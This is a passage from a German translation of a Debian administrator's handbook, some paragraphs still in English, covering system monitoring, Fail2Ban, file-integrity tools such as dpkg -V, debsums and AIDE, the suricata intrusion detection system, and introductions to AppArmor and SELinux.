Ein Systemvorfall wird immer angezeigt, es sei denn, eine Regel in einem der Verzeichnisse des Typs /etc/logcheck/ignore.d.{paranoid,server,arbeitsplatzrechner}/ bestimmt, dass der Vorfall ignoriert werden soll. Es werden natürlich nur die Verzeichnisse berücksichtigt, deren Ausführlichkeitsgrad gleich dem oder höher als der ausgewählte Betriebsmodus ist.

14.3.2. Aktivitäten überwachen

14.3.2.1. In Echtzeit

top ist ein interaktives Hilfsprogramm, das eine Liste der gegenwärtig laufenden Prozesse anzeigt. Die voreingestellte Reihenfolge hängt vom momentanen Umfang der Prozessornutzung ab und kann mithilfe der P-Taste abgerufen werden. Andere Sortierreihenfolgen sind unter anderem nach belegtem Speicher (M-Taste), nach gesamter Prozessorzeit (T-Taste) und nach Prozesskennung (N-Taste). Mit der k-Taste kann ein Prozess abgebrochen werden, indem seine Kennung eingegeben wird. Die r-Taste ermöglicht das renicing eines Prozesses, das heißt, die Änderung seiner Priorität.

Wenn das System überlastet zu sein scheint, ist top ein großartiges Instrument, um zu sehen, welche Prozesse um die Prozessorzeit konkurrieren oder zu viel Speicher verbrauchen. Insbesondere ist es häufig interessant zu überprüfen, ob die Prozesse, die Ressourcen verbrauchen, den tatsächlichen Diensten entsprechen, die der Rechner bekanntermaßen beherbergt. Ein unbekannter Prozess, der unter dem Benutzernamen www-data läuft, sollte wirklich hervorstechen und kann untersucht werden, da er möglicherweise ein Programm ist, das durch eine Schwachstelle in einer Web-Anwendung auf dem System installiert wurde und ausgeführt wird.

top ist ein sehr flexibles Hilfsprogramm und seine Handbuchseite beschreibt ausführlich, wie seine Anzeige individuell eingerichtet und an persönliche Bedürfnisse und Gewohnheiten angepasst werden kann.

Das grafische Hilfsprogramm gnome-system-monitor ist top ähnlich und bietet etwa die gleichen Leistungsmerkmale.

14.3.2.2. Verlauf

Prozessorauslastung, Netzwerkverkehr und freier Plattenplatz sind Informationen, die sich ständig ändern. Es ist häufig nützlich, den Verlauf ihrer Entwicklung festzuhalten, um genau feststellen zu können, wie der Rechner genutzt wird.

Für diese Aufgabe gibt es zahlreiche spezialisierte Hilfsprogramme. Die meisten von ihnen können Daten über SNMP (Simple Network Management Protocol) einholen, um diese Informationen an einer Stelle zusammenzufassen. Ein weiterer Nutzen besteht darin, dass auf diese Weise Daten von Netzwerkelementen eingeholt werden können, die keine Universalrechner sind, wie spezialisierte Netzwerkrouter oder -switche.

Dieses Buch behandelt Munin ausführlich als Teil von Kapitel 12: „Erweiterte Verwaltung“ (siehe Abschnitt 12.4.1, „Munin einrichten“). Debian stellt ebenfalls ein ähnliches Hilfsprogramm bereit: cacti. Sein Einsatz ist etwas komplizierter, da es ausschließlich auf SNMP beruht. Obwohl es eine Web-Schnittstelle hat, benötigen das Verständnis der Konzepte, die für die Konfigurierung verwendet werden, noch einige Anstrengungen. Die Lektüre der HTML-Dokumentation (/usr/share/doc/cacti/html/Table-of-Contents.html) ist daher als Voraussetzung anzusehen.

ALTERNATIVE mrtg

mrtg (in dem Paket ähnlichen Namens) ist ein älteres Hilfsprogramm. Trotz einiger Ecken und Kanten kann es Verlaufsdaten zusammenfassen und als Diagramme anzeigen. Es enthält eine Reihe spezieller Skripte zur Sammlung der am häufigsten überprüften Daten wie Prozessorlast, Netzwerkverkehr, Webseitenzugriffe und so weiter.

Die Pakete mrtg-contrib und mrtgutils enthalten Beispielskripte, die direkt verwendet werden können.

14.3.3. Eindringen vermeiden

Attackers try to get access to servers by guessing passwords, which is why strong passwords must always be used. Even then, you should also establish measures against brute-force attacks. A brute-force attack is an attempt to log into an unauthorized software system by performing multiple login attempts in a short period of time.

The best way to stop a brute-force attack is to limit the number of login attempts coming from the same origin, usually by temporarily banning an IP address.

Fail2Ban is an intrusion prevention software suite that can be configured to monitor any service that writes login attempts to a log file. It can be found in the package fail2ban.

Fail2Ban is configured through a simple protocol by fail2ban-client, which also reads configuration files and issues corresponding configuration commands to the server, fail2ban-server. It has four configuration file types, all stored in /etc/fail2ban/:

fail2ban.conf. Globale Konfiguration (wie z.B. Protokollierung).

filter.d/*.conf. Filter, die angeben, wie Authentifizierungsfehler erkannt werden können. Das Debian-Paket enthält bereits Filter für viele gängige Programme.

action.d/*.conf. Actions defining the commands for banning and “unbanning“ of IP addresses.

jail.conf. Hier werden jails, die Kombinationen von Filtern und Aktionen, definiert.

Werfen wir einen Blick auf die Konfiguration von sshd in /etc/fail2ban/jail.conf, um besser zu verstehen, wie Fail2Ban funktioniert...

[...] [DEFAULT] [...] bantime = 10m [...] findtime = 10m [...] maxretry = 5 [...] [sshd] port = ssh logpath = %(sshd_log)s backend = %(sshd_backend)s

Fail2Ban will check for failed login attempts for sshd using Python regular expressions defined in /etc/fail2ban/filter.d/sshd.conf against the log file of sshd, which is defined in the variable sshd_log in the file /etc/fail2ban/paths-common.conf. If Fail2Ban detects five failed login attempts within 10 minutes, it will ban the IP address where those attempts originated for 10 minutes.

To enable, disable, or configure “jails“, the main configuration file /etc/fail2ban/jail.conf is not supposed to be altered. Instead this is supposed to be done in /etc/fail2ban/jail.d/defaults-debian.conf or files within the same directory.

Fail2Ban ist ein sehr einfacher und effektiver Weg, um sich gegen die häufigsten Brute-Force-Angriffe zu schützen, aber es kann nicht vor verteilten Brute-Force-Angriffen schützen, d.h. wenn ein Angreifer eine große Anzahl von Rechnern nutzt, die über das Internet verteilt sind.

Eine gute Möglichkeit, zusätzlichen Schutz gegen verteilte Brute-Force-Angriffe zu bieten, besteht darin, die Anmeldezeit nach jedem fehlgeschlagenen Versuch künstlich zu verlängern.

14.3.4. Änderungen erkennen

Sobald das System installiert und konfiguriert ist, gibt es, abgesehen von Sicherheitsupgrades, für die meisten Dateien und Verzeichnisse in der Regel keinen Grund mehr, sich weiterzuentwickeln, Daten ausgenommen. Es ist daher interessant, sich zu vergewissern, dass sich die Dateien tatsächlich nicht ändern: Jede unerwartete Änderung wäre daher eine Untersuchung wert. In diesem Abschnitt werden einige Werkzeuge vorgestellt, die in der Lage sind, Dateien zu überwachen und den Administrator zu warnen, wenn eine unerwartete Änderung eintritt (oder einfach, um solche Änderungen aufzulisten).

14.3.4.1. Pakete mit logcheck prüfen

WEITERE SCHRITTE Schutz vor vorgelagerten Veränderungen

dpkg --verify and debsums are useful in detecting changes to files coming from a Debian package, but they will be useless if the package itself is compromised, for instance, if the Debian mirror is compromised. Protecting against this class of attacks involves using APT's digital signature verification system (see Abschnitt 6.6, „Die Echtheit eines Paketes prüfen“), and taking care to only install packages from a certified origin.

dpkg --verify (oder dpkg -V) ist ein interessantes Tool, weil es herausfindet welche installierten Dateien (möglicherweise von einem Angreifer) modifiziert wurden aber dies sollte man nicht für bare Münze nehmen. Um seine Arbeit zu verrichten, bezieht es sich auf Prüfsummen i der dpkg eigenen Datenbank welche auf der lokalen Festplatte liegt (man findet sie unter /var/lib/dpkg/info/package.md5sums). Ein gründlicher Angreifer wird diese Dateien also mit den neuen Prüfsummen der manipulierten Dateien aktualisieren.

ZURÜCK ZU DEN GRUNDLAGEN Dateifingerabdruck

As a reminder: a fingerprint is a value, often a number (even though in hexadecimal notation), that contains a kind of signature for the contents of a file. This signature is calculated with an algorithm, e.g. MD5 via md5sum or SHA* via various sha* commands being well-known examples, that more or less guarantee that even the tiniest change in the file contents implies a change in the fingerprint; this is known as the “avalanche effect”. This allows a simple numerical fingerprint to serve as a litmus test to check whether the contents of a file have been altered. These algorithms are not reversible; in other words, for most of them, knowing a fingerprint doesn't allow finding the corresponding contents. Recent mathematical advances seem to weaken the absoluteness of these principles, but their use is not called into question so far, since creating different contents yielding the same fingerprint still seems to be quite a difficult task.

Das Ausführen von dpkg -V überprüft alle installierten Pakete und gibt eine Zeile pro Datei mit fehlgeschlagenem Test aus. Das Ausgabeformat ist das gleiche wie das von rpm -V, wobei jedes Zeichen einem Test auf bestimmte Metadaten entspricht. Leider speichert dpkg die für die meisten Tests benötigten Metadaten nicht und gibt daher Fragezeichen aus. Derzeit kann nur der Prüfsummentest eine "5" für das dritte Zeichen ergeben (wenn er fehlschlägt).

# dpkg -V ??5?????? /lib/systemd/system/ssh.service ??5?????? c /etc/libvirt/qemu/networks/default.xml ??5?????? c /etc/lvm/lvm.conf ??5?????? c /etc/salt/roster

In the sample above, dpkg reports a change to SSH's service file that the administrator made to the packaged file instead of using an appropriate /etc/systemd/system/ssh.service.d/override.conf override (which would be stored below /etc like any configuration change should be). It also lists multiple configuration files (identified by the "c" letter on the second field) that had been legitimately modified.

14.3.4.2. Pakete auditieren: debsums und seine Grenzen

debsums is the ancestor of dpkg -V and is thus mostly obsolete. It suffers from the same limitations than dpkg. Fortunately, some of the limitations can be worked-around (whereas dpkg does not offer similar workarounds).

Weil man den Daten auf der Festplatte nicht trauen kann, ermöglicht debsums Prüfungen basierend auf .deb Dateien anstatt sich auf die dpkg Datenbank zu verlassen. Um gesicherte .deb Dateien für alle installierten Pakete herunterzuladen können wir uns auf die von APT beglaubigten Downloads verlassen. Diese Aktion kann sehr langsam und langwierig sein und sollte daher als proaktive Technik in Betracht gezogen werden und nicht regelmäßig verwendet werden.

# apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package` [ ... ] # debsums -p /var/cache/apt/archives --generate=all

Man beachte, dass in diesem Beispiel der Befehl grep-status aus dem Paket grep-dctrl verwendet wird, das nicht standardmäßig installiert ist.

debsums can be run frequently as a cronjob setting CRON_CHECK in /etc/default/debsums. To ignore certain files outside the /etc directory, which have been altered on purpose or which are expected to change (like /usr/share/misc/pci.ids) you can add them to /etc/debsums-ignore.

14.3.4.3. Dateien überwachen: AIDE

Das Hilfsprogramm AIDE (Advanced Intrusion Detection Environment) ermöglicht es, die Unversehrtheit von Dateien zu überprüfen und jede Veränderung durch einen Vergleich mit einem zuvor festgehaltenen Abbild des intakten Systems zu entdecken. Dieses Abbild ist als Datenbank (/var/lib/aide/aide.db) abgespeichert, die relevante Informationen über alle Dateien des Systems enthält (Fingerabdrücke, Berechtigungen, Zeitstempel und so weiter). Diese Datenbank wird erstmals mit dem Befehl aideinit initialisiert; sie wird dann täglich (mit dem Skript /etc/cron.daily/aide) genutzt, um nachzuprüfen, dass sich nichts Relevantes verändert hat. Wenn Veränderungen entdeckt werden, hält AIDE diese in Protokolldateien fest (/var/log/aide/*.log) und sendet seine Befunde per E-Mail an den Administrator.

IN DER PRAXIS Die Datenbank schützen

Da AIDE eine lokale Datenbank nutzt, um den Status der Dateien zu vergleichen, ist die Gültigkeit seiner Ergebnisse direkt an die Gültigkeit der Datenbank gebunden. Falls ein Angreifer auf einem kompromittierten System Administratorrechte erlangt, ist er in der Lage, die Datenbank auszutauschen und so seine Spuren zu verwischen. Eine mögliche Behelfslösung könnte darin bestehen, die Referenzdaten auf einem schreibgeschützten Medium zu speichern.

Viele Optionen in /etc/default/aide können dazu verwendet werden, das Verhalten des Pakets aide zu justieren. AIDEs eigentliche Konfiguration ist in /etc/aide/aide.conf und /etc/aide/aide.conf.d/ gespeichert (diese Dateien werden genau genommen nur von update-aide.conf dazu benutzt, die Datei /var/lib/aide/aide.conf.autogenerated zu erstellen). Die Konfiguration gibt an, welche Eigenschaften welcher Dateien überprüft werden sollen. Der Inhalt von Protokolldateien verändert sich zum Beispiel regelmäßig und derartige Veränderungen können ignoriert werden, solange die Berechtigungen dieser Dateien die gleichen bleiben. Aber sowohl der Inhalt als auch die Berechtigungen von ausführbaren Dateien müssen unverändert bleiben. Obwohl die Konfigurationssyntax nicht sehr komplex ist, ist sie nicht völlig intuitiv. Daher wird empfohlen, die Handbuchseite aide.conf(5) zu lesen.

Eine neue Version der Datenbank wird täglich in /var/lib/aide/aide.db.new erstellt; falls alle aufgenommenen Veränderungen legitim waren, kann sie als Ersatz für die Referenzdatenbank verwendet werden.

ALTERNATIVE Tripwire und Samhain

Tripwire ist AIDE sehr ähnlich; selbst die Syntax der Konfigurationsdatei ist fast die gleiche. Die Hauptergänzung, die von tripwire bereitgestellt wird, ist ein Verfahren, die Konfigurationsdatei zu signieren, so dass ein Angreifer mit ihr nicht auf eine andere Version der Referenzdatenbank verweisen kann.

Samhain bietet ebenfalls ähnliche Leistungsmerkmale, sowie einige Funktionen, um Rootkits zu entdecken (siehe Seitenleiste KURZER BLICK Die Pakete checksecurity und chkrootkit/rkhunter). Es kann auch netzwerkweit eingesetzt werden und seine Spuren (mit einer Signatur) auf einem zentralen Server festhalten.

KURZER BLICK Die Pakete checksecurity und chkrootkit/rkhunter

Das erste dieser Pakete enthält verschiedene kleine Skripte, die grundlegende Prüfungen des Systems durchführen (leere Passwörter, neue setuid-Dateien usw.) und den Administrator, falls nötig, warnen. Allerdings sollte sich trotz seines eindeutigen Namens kein Administrator nur auf dieses Paket verlassen, wenn er dafür sorgen möchte, dass ein Linux-System sicher ist.

Die Pakete chkrootkit und rkhunter ermöglichen es, nach möglicherweise auf dem System installierten Rootkits Ausschau zu halten. Zur Erinnerung: dies sind Programme, die dazu bestimmt sind, die Kompromittierung eines Systems zu verbergen und gleichzeitig diskret den Rechner im Griff zu halten. Die Tests sind nicht zu 100% zuverlässig, aber sie können gewöhnlich die Aufmerksamkeit des Administrators auf die möglichen Probleme lenken.

rkhunter führt auch Überprüfungen durch, um festzustellen, ob Befehle geändert wurden, ob Systemstartdateien geändert wurden, sowie verschiedene Überprüfungen an den Netzwerkschnittstellen, einschließlich Überprüfungen für lauschende Anwendungen.

14.3.5. Eindringen entdecken (IDS/NIDS)

ZURÜCK ZU DEN GRUNDLAGEN Denial of Service

Ein „Denial-of-Service“-Angriff hat nur ein Ziel: einen Dienst nicht verfügbar zu machen. Ob ein solcher Angriff nun darin besteht, den Server mit Anfragen zu überlasten oder einen Fehler auszunutzen, das Ergebnis ist das gleiche: der Dienst ist nicht mehr funktionsfähig. Die normalen Benutzer sind unzufrieden und der Ruf der Organisation, die den angegriffenen Netzwerkdienst bereitstellt, erleidet Schaden (und verliert möglicherweise Einnahmen, falls zum Beispiel der Dienst eine E-Commerce-Website war).

Solch ein Angriff erfolgt manchmal „verteilt“; dazu gehört es normalerweise, den Server mit einer großen Anzahl von Anfragen, die von vielen verschiedenen Quellen kommen, zu überlasten, so dass der Server nicht mehr imstande ist, die seriösen Anfragen zu beantworten. Diese Art von Angriffen hat bekannte Abkürzungen erhalten: DDoS und DoS (je nachdem, ob der Denial-of-Service-Angriff verteilt ist oder nicht).

suricata (in the Debian package of the same name) is an NIDS — a Network Intrusion Detection System. Its function is to listen to the network and try to detect infiltration attempts and/or hostile acts (including denial of service attacks). All these events are logged in multiple files in /var/log/suricata. There are third party tools (Kibana/logstash) to better browse all the data collected.

→ https://suricata.io

→ https://www.elastic.co/products/kibana

VORSICHT Wirkungsbereich

Die Effektivität von suricata wird durch den Datenverkehr begrenzt, der an der überwachten Netzwerk-Schnittstelle sichtbar ist. Es kann natürlich nichts entdecken, wenn es den tatsächlichen Datenverkehr nicht beobachten kann. Wenn es an einen Netzwerkswitch angeschlossen ist, wird es daher nur Angriffe überwachen, die auf den Rechner, auf dem es läuft, abzielen, was möglicherweise nicht die Absicht ist. Der Rechner, der suricata beherbergt, sollte daher an den „Spiegel“-Port des Switches angeschlossen werden, der normalerweise speziell dafür vorgesehen ist, Switche zu verketten und daher allen Datenverkehr erhält.

Configuring suricata involves reviewing and editing /etc/suricata/suricata.yaml, which is very long because each parameter is abundantly commented. A minimal configuration requires describing the range of addresses that the local network covers (HOME_NET parameter). In practice, this means the set of all potential attack targets. But getting the most of it requires reading it in full and adapting it to the local situation.

On top of this, you should also edit it to define the network interface. You might also want to set LISTENMODE=pcap because the default LISTENMODE=nfqueue requires further configuration to work properly (the netfilter firewall must be configured to pass packets to some user-space queue handled by suricata via the NFQUEUE target).

Suricata muss einen Satz an Monitoring-Regeln erstellen, um bösartiges Verhalten zu entdecken: Man findet solche Regeln im snort-rules-default Paket. Snort ist historisch die Referenz im IDS-Ökosystem und suricata kann die Regelsätze, die für Snort geschrieben wurden, weiterverwenden.

Alternatively, oinkmaster (in the package of the same name) can be used to download Snort rule sets from external sources.

WEITERE SCHRITTE Integration mit prelude

Prelude ermöglicht eine zentralisierte Überwachung von Sicherheitsinformationen. Seine modulare Architektur enthält einen Server (den Manager im Paket prelude-manager), der Alarmmeldungen sammelt, die von verschiedenen Arten von Sensoren erzeugt werden.

Suricata kann als ein solcher Sensor konfiguriert werden. Eine andere Möglichkeit ist prelude-lml (Log Monitor Lackey), das Protokolldateien überwacht (in ähnlicher Weise wie das in Abschnitt 14.3.1, „Protokolle mit logcheck verfolgen“ beschriebene logcheck).

14.4. Einführung in AppArmor

14.4.1. Prinzipien

AppArmor ist ein Mandatory Access Control System (MAC), das auf der LSM-Schnittstelle (Linux Security Modules) von Linux aufbaut. In der Praxis befragt der Kernel AppAmor vor jedem Systemaufruf, um herauszufinden, ob der Prozess autorisiert ist, den jeweiligen Vorgang auszuführen.

AppArmor wendet eine Reihe von Regeln (bekannt als "Profil") auf jedes Programm an. Das vom Kernel verwendete Profil hängt vom Installationspfad des ausgeführten Programms ab. Im Gegensatz zu SELinux (beschrieben in Abschnitt 14.5, „Einführung in SELinux“) sind die angewandten Regeln nicht vom Benutzer abhängig. Alle Benutzer haben die gleichen Regeln, wenn sie das gleiche Programm ausführen (aber die traditionellen Benutzerberechtigungen gelten weiterhin und können zu unterschiedlichem Verhalten führen!).

AppArmor-Profile werden in /etc/apparmor.d/ gespeichert und enthalten eine Liste von Zugriffskontrollregeln für Ressourcen, die jedes Programm verwenden kann. Die Profile werden mit dem Befehl apparmor_parser in den Kernel geladen. Jedes Profil kann entweder im Erzwingungs- oder im Beschwerdemodus geladen werden. Ersterer setzt die Richtlinie durch und meldet Verstöße, während Letzterer die Richtlinie nicht durchsetzt, aber dennoch die Systemaufrufe protokolliert, die abgelehnt worden wären.

14.4.2. AppArmor Profile einschalten und verwalten

AppArmor-Unterstützung ist in den von Debian bereitgestellten Standard-Kernel eingebaut. Das Aktivieren von AppArmor ist daher nur eine Frage der Installation einiger Pakete durch Ausführen von apt install apparmor apparmor-profiles apparmor-utils mit Root-Rechten.

AppArmor ist nach der Installation funktionsfähig und aa-status bestätigt dies schnell:

# aa-status apparmor module is loaded. 32 profiles are loaded. 15 profiles are in enforce mode. /usr/bin/man [...] 17 profiles are in complain mode. /usr/sbin/dnsmasq [...] 1 processes have profiles defined. 1 processes are in enforce mode. /usr/sbin/libvirtd (468) libvirtd 0 processes are in complain mode. 0 processes are unconfined but have a profile defined.

HINWEISWetere AppArmor-Profile

Das Paket apparmor-profiles enthält Profile, die von der vorgelagerten AppArmor-Community verwaltet werden. Um noch mehr Profile zu erhalten, können Sie apparmor-profiles-extra installieren, das von Ubuntu und Debian entwickelte Profile enthält.

Der Zustand jedes Profils kann mit Aufrufen von aa-enforce und aa-complain zwischen Erzwingen und Beschweren umgeschaltet werden, wobei als Parameter entweder der Pfad der ausführbaren Datei oder der Pfad zur Policy-Datei angegeben wird. Zusätzlich kann ein Profil mit aa-disable vollständig deaktiviert werden oder mit aa-audit in den Audit-Modus versetzt werden (um auch akzeptierte Systemaufrufe zu protokollieren).

# aa-enforce /usr/bin/pidgin Setting /usr/bin/pidgin to enforce mode. # aa-complain /usr/sbin/dnsmasq Setting /usr/sbin/dnsmasq to complain mode.

14.4.3. Ein neues Profil erstellen

Obwohl die Erstellung eines AppArmor-Profils recht einfach ist, haben die meisten Programme keins. Dieser Abschnitt zeigt Ihnen, wie Sie ein neues Profil von Grund auf neu erstellen, indem Sie das Zielprogramm verwenden und AppArmor den Systemaufruf und die Ressourcen, auf die es zugreift, überwachen lassen.

Die wichtigsten Programme, die eingeschränkt werden sollen, sind die Programme, die mit dem Netzwerk verbunden sind, da diese die wahrscheinlichsten Ziele von entfernten Angreifern sind. Das ist der Grund, warum AppArmor bequem einen Befehl aa-unconfined zur Verfügung stellt, um die Programme aufzulisten, die kein zugehöriges Profil haben und einen offenen Netzwerk-Socket anbieten. Mit der Option --paranoid erhalten Sie alle unbeschränkten Prozesse, die mindestens eine aktive Netzwerkverbindung haben.

# aa-unconfined 451 /usr/bin/containerd not confined 467 /usr/sbin/sshd (sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups) not confined 892 /usr/sbin/exim4 not confined

In the following example, we will thus try to create a profile for /sbin/dhclient (there already is a profile shipped by apparmor-profiles, so you can compare your results to the official one). For this we will use aa-genprof dhclient. It will invite you to use the application in another window and when done to come back to aa-genprof to scan for AppArmor events in the system logs and convert those logs into access rules. For each logged event, it will make one or more rule suggestions that you can either approve or further edit in multiple ways:

# aa-genprof dhclient Writing updated profile for /usr/sbin/dhclient. Setting /usr/sbin/dhclient to complain mode. Before you begin, you may wish to check if a profile already exists for the application you wish to confine. See the following wiki page for more information: https://gitlab.com/apparmor/apparmor/wikis/Profiles Profiling: /usr/sbin/dhclient Please start the application to be profiled in another window and exercise its functionality now. Once completed, select the "Scan" option below in order to scan the system logs for AppArmor events. For each AppArmor event, you will be given the opportunity to choose whether the access should be allowed or denied. [(S)can system log for AppArmor events] / (F)inish S Reading log entries from /var/log/syslog. Profile: /usr/sbin/dhclient Execute: /usr/sbin/dhclient-script Severity: unknown (I)nherit / (C)hild / (P)rofile / (N)amed / (U)nconfined / (X) ix On / (D)eny / Abo(r)t / (F)inish P Should AppArmor sanitise the environment when switching profiles? Sanitising environment is more secure, but some applications depend on the presence of LD_PRELOAD or LD_LIBRARY_PATH. [(Y)es] / (N)o Y Writing updated profile for /usr/sbin/dhclient-script. Complain-mode changes: Profile: /usr/sbin/dhclient Capability: net_raw Severity: 8 [1 - capability net_raw,] (A)llow / [(D)eny] / (I)gnore / Audi(t) / Abo(r)t / (F)inish A Adding capability net_raw, to profile. Profile: /usr/sbin/dhclient Capability: net_bind_service Severity: 8 [1 - #include <abstractions/nis>] 2 - capability net_bind_service, (A)llow / [(D)eny] / (I)gnore / Audi(t) / Abo(r)t / (F)inish A Adding #include <abstractions/nis> to profile. Profile: /usr/sbin/dhclient Path: /etc/ssl/openssl.cnf New Mode: owner r Severity: 2 [1 - #include <abstractions/lightdm>] 2 - #include <abstractions/openssl> 3 - #include <abstractions/ssl_keys> 4 - owner /etc/ssl/openssl.cnf r, (A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish 2 Profile: /usr/sbin/dhclient Path: /etc/ssl/openssl.cnf New Mode: owner r Severity: 2 1 - #include <abstractions/lightdm> [2 - #include <abstractions/openssl>] 3 - #include <abstractions/ssl_keys> 4 - owner /etc/ssl/openssl.cnf r, [(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore A [...] Profile: /usr/sbin/dhclient-script Path: /usr/bin/dash New Mode: owner r Severity: unknown 1 - #include <abstractions/gvfs-open> [2 - #include <abstractions/lightdm>] 3 - #include <abstractions/ubuntu-browsers.d/plugins-common> 4 - #include <abstractions/xdg-open> 5 - owner /usr/bin/dash r, (A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish A Adding #include <abstractions/lightdm> to profile. Deleted 2 previous matching profile entries. = Changed Local Profiles = The following local profiles were changed. Would you like to save them? [1 - /usr/sbin/dhclient] 2 - /usr/sbin/dhclient-script (S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)lean profiles / Abo(r)t S Writing updated profile for /usr/sbin/dhclient. Writing updated profile for /usr/sbin/dhclient-script. Profiling: /usr/sbin/dhclient Please start the application to be profiled in another window and exercise its functionality now. Once completed, select the "Scan" option below in order to scan the system logs for AppArmor events. For each AppArmor event, you will be given the opportunity to choose whether the access should be allowed or denied. [(S)can system log for AppArmor events] / (F)inish F Setting /usr/sbin/dhclient to enforce mode. Setting /usr/sbin/dhclient-script to enforce mode. Reloaded AppArmor profiles in enforce mode. Please consider contributing your new profile! See the following wiki page for more information: https://gitlab.com/apparmor/apparmor/wikis/Profiles Finished generating profile for /usr/sbin/dhclient.

Note that the program does not display back the control characters that you type but for the clarity of the explanation we have included them in the previous transcript.

Das erste erkannte Ereignis ist die Ausführung eines anderen Programms. In diesem Fall haben Sie mehrere Möglichkeiten: Sie können das Programm mit dem Profil des übergeordneten Prozesses ausführen (Auswahl "Vererben"), Sie können es mit einem eigenen Profil ausführen (Auswahl "Profil" und "Benannt", die sich nur durch die Möglichkeit unterscheiden, einen beliebigen Profilnamen zu verwenden), Sie können es mit einem Unterprofil des übergeordneten Prozesses ausführen (Auswahl "Kind"), Sie können es ohne Profil ausführen (Auswahl "Unbegrenzt") oder Sie können entscheiden, es überhaupt nicht auszuführen (Auswahl "Verweigern").

Beachten Sie, dass das Tool, wenn Sie es unter einem speziellen, not nicht existierenden Profil ausführen, das fehlende Profil für Sie erstellt und Regelvorschläge für dieses Profil im selben Lauf macht.

Auf der Kernel-Ebene wurden die speziellen Befugnisse des root-Benutzers in "Fähigkeiten" aufgeteilt. Wenn ein Systemaufruf eine bestimmte Fähigkeit erfordert, prüft AppArmor, ob das Profil dem Programm erlaubt, diese Fähigkeit zu nutzen.

Hier sucht das Programm Leserechte für /etc/ssl/openssl.cnf. aa-genprof hat festgestellt, dass diese Erlaubnis auch von mehreren "Abstraktionen" erteilt wurde und bietet sie als Alternative an. Eine Abstraktion bietet einen wiederverwendbaren Satz von Zugriffsregeln, die mehrere gemeinsam genutzte Ressourcen zusammenfassen. In diesem speziellen Fall wird die Datei im Allgemeinen über die Nameservice-bezogenen Funktionen der C-Bibliothek aufgerufen und wir geben "2" ein, um zuerst die Option "#include <abstractions/openssl>" und dann "A" auszuwählen, um sie zuzulassen.

Beachten Sie, dass diese Zugriffsanforderung nicht Teil des dhclient-Profils ist, sondern des neuen Profils, das wir erstellt haben, als wir /usr/sbin/dhclient-script mit seinem eigenen Profil laufen ließen.

Nach Durchlaufen aller protokollierten Ereignisse bietet das Programm an, alle während des Laufs erstellten Profile zu speichern. In diesem Fall haben wir zwei Profile, die wir mit "Speichern" auf einmal speichern (Sie können sie aber auch einzeln speichern), bevor wir das Programm mit "Beenden" verlassen.

aa-genprof ist eigentlich nur ein intelligenter Wrapper um aa-logprof: er erstellt ein leeres Profil, lädt es im Beschwerdemodus und führt dann aa-logprof aus, das ein Werkzeug ist, um ein Profil basierend auf den protokollierten Profilverletzungen zu aktualisieren. So können Sie dieses Tool später erneut ausführen, um das gerade erstellte Profil zu verbessern.

If you want the generated profile to be complete, you should use the program in all the ways that it is legitimately used. In the case of dhclient, it means running it via Network Manager, running it via ifupdown, running it manually, etc. In the end, you might get a /etc/apparmor.d/usr.sbin.dhclient close to the profile shipped by apparmor-profiles in /usr/share/apparmor/extra-profiles/sbin.dhclient.

And /etc/apparmor.d/usr.sbin.dhclient-script might be similar to /usr/share/apparmor/extra-profiles/sbin.dhclient, shipped in apparmor-profiles too.

14.5. Einführung in SELinux

14.5.1. Prinzipien

SELinux (Security Enhanced Linux) ist ein System mit Mandatory Access Control, das auf der LSM-Schnittstelle (Linux Security Modules) von Linux aufbaut. In der Praxis befragt der Kernel SELinux vor jedem Systemaufruf, um herauszufinden, ob der Prozess autorisiert ist, den jeweiligen Vorgang auszuführen.

SELinux verwendet einen Satz von Regeln - in ihrer Gesamtheit als Policy bezeichnet - um Vorgänge zu autorisieren oder zu verbieten. Diese Regeln sind schwierig zu erstellen. Glücklicherweise werden zwei Standardregelwerke (targeted und strict) bereitgestellt, die den Großteil der Konfigurierungsarbeit entbehrlich machen.

Mit SELinux ist die Verwaltung der Berechtigungen grundsätzlich verschieden von traditionellen Unix-Systemen. Die Berechtigungen eines Prozesses hängen von seinem Sicherheitskontext ab. Der Kontext wird von der Identität des Benutzers bestimmt, der den Prozess gestartet hat, sowie von der Rolle und der Domain, die dem Benutzer zu dieser Zeit übertragen waren. Die Berechtigungen hängen tatsächlich von der Domain ab, aber die Übergänge zwischen den Domains werden von den Rollen kontrolliert. Und schließlich hängen die möglichen Übergänge zwischen den Rollen von der Identität ab.

Abbildung 14.1. Sicherheitskontexte und Unix-Nutzer

Konkret bekommt der Nutzer während der Anmeldung einen Standard-Sicherheitskontext zugewiesen (in Abhängigkeit von den Rollen, die er bestätigen können soll). Dies bestimmt die geltende Domain und damit auch die Domain, der alle neuen Unterprozesse zugeordnet werden. Wenn man die geltende Rolle und die ihr zugeordnete Domain ändern will, muss man den Befehl newrole -r rolle_r -t domain_t aufrufen (normalerweise ist nur eine einzige Domain für eine bestimmte Rolle erlaubt, deshalb kann der Parameter -t häufig weggelassen werden). Dieser Befehl authentifiziert jemanden, indem er ihn auffordert, sein Passwort einzugeben. Dies hindert Programme daran, selbstständig ihre Rollen zu ändern. Derartige Änderungen sind nur möglich, wenn sie im SELinux-Regelwerk ausdrücklich erlaubt sind.

Offensichtlich gelten die Berechtigungen nicht für alle Objekte (Dateien, Verzeichnisse, Sockets, Geräte usw.). Sie können von Objekt zu Objekt unterschiedlich sein. Um dies zu erreichen, ist jedes Objekt einem Typ zugeordnet (dies wird als Kennzeichnung bezeichnet). Die Rechte einer Domain werden somit durch Sätze von Operationen ausgedrückt, die bei diesen Typen erlaubt sind oder nicht (und indirekt bei allen Objekten, die mit dem jeweiligen Typ gekennzeichnet sind).

EXTRA Domains und Typen sind gleichwertig

Intern ist eine Domain nur ein Typ, jedoch ein Typ, der nur für Prozesse gilt. Daher tragen Domains das Suffix _t, genau wie Objekttypen.

